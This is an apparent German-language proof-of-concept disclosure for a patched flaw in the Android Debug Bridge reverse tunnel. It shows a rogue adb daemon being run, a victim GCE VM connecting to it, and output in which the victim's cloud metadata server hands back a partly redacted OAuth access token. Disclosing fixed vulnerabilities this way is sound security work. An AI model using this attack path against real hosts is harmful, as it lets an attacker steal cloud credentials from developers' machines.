
Proof-of-Concept-Code zur Ausnutzung eines Fehlers in adb, der das Öffnen von Netzwerkverbindungen auf dem Host zu beliebigen Zielen erlaubte
Die Reverse-Tunnel-Funktion in Android Debug Bridge (adb) war anfällig, da sie es bösartigen adb-Daemons erlaubte, Verbindungen zu beliebigen Hosts/Ports und Unix-Domain-Sockets auf dem Host zu öffnen.
Fenster des Angreifers (wo der schädliche Daemon läuft):
$ ./adb_rogue_daemon.py
Fenster des Opfers (in diesem Beispiel eine GCE-VM):
$ adb connect serverip:5556
connected to 8.tcp.ngrok.io:19076
Fenster des Angreifers:
...
Wooho, we got response for our rouge request!
b'HTTP/1.0 200 OK\r\nMetadata-Flavor: Google\r\nContent-Type: application/json\r\nDate: Thu, 04 Nov 2021 22:31:21 GMT\r\nServer: Metadata Server for VM\r\nConnection: Close\r\nContent-Length: 1049\r\nX-XSS-Protection: 0\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n{"access_token":"ya29.c.KpgBFghLV[redacted].....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'
<<< b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
('....', (774778414, 774778414, 774778414, 774778414, 774778414), b'...........................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba')
Dies wurde in Platform Tools 33.0.3 behoben.